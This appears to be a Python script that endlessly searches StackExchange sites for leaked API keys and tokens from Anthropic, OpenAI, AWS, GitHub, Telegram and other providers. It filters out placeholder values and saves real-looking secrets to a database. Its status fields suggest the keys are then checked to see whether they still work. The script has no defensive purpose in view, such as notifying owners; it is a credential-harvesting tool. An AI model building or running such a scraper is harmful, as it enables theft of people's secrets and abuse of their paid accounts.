149 lines
5.0 KiB
Python
149 lines
5.0 KiB
Python
"""ETERNAL StackExchange hunt: search/advanced with body, strip HTML, grep keys.
|
|
Free API: 300 req/day without token. sort=creation desc -> newest first, has_more paging."""
|
|
import os
|
|
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
|
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
|
|
import hashlib
|
|
import json
|
|
import re
|
|
import sqlite3
|
|
import time
|
|
import urllib.parse
|
|
import urllib.error
|
|
import urllib.request
|
|
|
|
DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
|
|
LOG = os.path.join(KF_BASE, "se_eternal.log")
|
|
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
|
|
API = "https://api.stackexchange.com/2.3/search/advanced"
|
|
|
|
QUERIES = [
|
|
"sk-ant-api03", "sk-proj-", "anthropic api key", "OPENAI_API_KEY",
|
|
"sk-or-v1", "gsk_", "openrouter api key", "dashscope api key",
|
|
"deepseek api key", "zhipu api key", "moonshot api key", "kimi",
|
|
"together api key", "together.ai api key", "replicate api token",
|
|
"elevenlabs api key", "groq api key", "perplexity api key", "pplx-",
|
|
"stability api key", "nvidia api key", "nvapi-", "twitter api key",
|
|
"telegram bot token 123456", "github token pasted", "aws secret",
|
|
"google api key exposed", "api key in code", "secret key hardcoded",
|
|
]
|
|
|
|
from key_patterns import PATTERNS
|
|
|
|
GARBAGE = ("xxxx", "your", "EXAMPLE", "example", "n0tr3al", "INSERT", "FAKE",
|
|
"fake", "Fake", "test", "Test", "TEST", "demo", "Demo", "aaaa",
|
|
"aBcDeF", "abcdef", "1234567890", "abcdefghij", "placehol",
|
|
"changeme", "deadbeef", "fffffff", "0000000")
|
|
|
|
|
|
def log(msg):
|
|
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
|
|
print(line, flush=True)
|
|
with open(LOG, "a", encoding="utf-8", errors="replace") as f:
|
|
f.write(line)
|
|
|
|
|
|
def db_add(cur, seen, key, prov, repo):
|
|
if key in seen or any(g in key for g in GARBAGE) or len(key) < 28:
|
|
return 0
|
|
seen.add(key)
|
|
cur.execute(
|
|
"INSERT INTO keys (hash, val, prov, status, found, repo) "
|
|
"VALUES (?,?,?,?,?,?) "
|
|
"ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
|
|
"WHERE keys.status IN ('DEAD','ERR')",
|
|
(hashlib.sha1(key.encode()).hexdigest()[:16], key, prov, "NEW",
|
|
"se", repo))
|
|
return 1
|
|
|
|
|
|
def strip_html(s):
|
|
s = re.sub(r"<pre.*?</pre>", " ", s, flags=re.S | re.I)
|
|
s = re.sub(r"<code.*?</code>", " ", s, flags=re.S | re.I)
|
|
s = re.sub(r"<[^>]+>", " ", s)
|
|
return s
|
|
|
|
|
|
SITES = ["stackoverflow", "superuser", "serverfault", "webapps",
|
|
"wordpress", "softwareengineering", "crypto", "devops",
|
|
"unix", "askubuntu"]
|
|
_site_i = 0
|
|
|
|
|
|
def fetch_page(query, page):
|
|
global _site_i
|
|
site = SITES[_site_i % len(SITES)]
|
|
_site_i += 1
|
|
params = {
|
|
"q": query, "site": site, "order": "desc",
|
|
"sort": "creation", "pagesize": "100", "page": str(page),
|
|
"filter": "withbody",
|
|
}
|
|
url = API + "?" + urllib.parse.urlencode(params)
|
|
req = urllib.request.Request(url, headers=UA)
|
|
with urllib.request.urlopen(req, timeout=30) as r:
|
|
return json.loads(r.read())
|
|
|
|
|
|
def cycle(db, qi):
|
|
cur = db.cursor()
|
|
cur.execute("SELECT val FROM keys")
|
|
seen = {r[0] for r in cur.fetchall()}
|
|
total = 0
|
|
q = QUERIES[qi % len(QUERIES)]
|
|
qi += 1
|
|
n_questions = 0
|
|
try:
|
|
data = fetch_page(q, 1)
|
|
quota = data.get("quota_remaining", 300)
|
|
backoff = data.get("backoff", 0)
|
|
items = data.get("items", [])
|
|
log(f"query {q!r}: {len(items)} items, quota={quota}")
|
|
for it in items:
|
|
for key in it.get("tags", []):
|
|
pass
|
|
qid = it.get("question_id", "")
|
|
body = strip_html(it.get("body", "") or "")
|
|
title = it.get("title", "") or ""
|
|
text = body + " " + strip_html(title)
|
|
n_questions += 1
|
|
for prov, rx in PATTERNS:
|
|
for key in rx.findall(text):
|
|
if isinstance(key, tuple):
|
|
key = key[-1]
|
|
hit = db_add(cur, seen, key, prov, f"se:{qid}")
|
|
if hit:
|
|
total += 1
|
|
log(f" + {prov} {key[:24]}... se:{qid}")
|
|
if backoff:
|
|
log(f"backoff {backoff}s from API")
|
|
time.sleep(backoff)
|
|
if quota < 50:
|
|
log("quota low, sleeping 30min")
|
|
db.commit()
|
|
time.sleep(1800)
|
|
except urllib.error.HTTPError as e:
|
|
log(f"HTTPError {e.code} for {q!r}; throttle -> sleep 5min")
|
|
db.commit()
|
|
time.sleep(300)
|
|
except Exception as e:
|
|
log(f"cycle err: {str(e)[:80]}")
|
|
db.commit()
|
|
return total, qi
|
|
|
|
|
|
def main():
|
|
log(f"=== se eternal START pid={__import__('os').getpid()} ===")
|
|
db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
|
|
qi = 0
|
|
while True:
|
|
try:
|
|
n, qi = cycle(db, qi)
|
|
log(f"CYCLE done: +{n}; resting 3min")
|
|
except Exception as e:
|
|
log(f"cycle error (continuing): {e}")
|
|
time.sleep(180)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |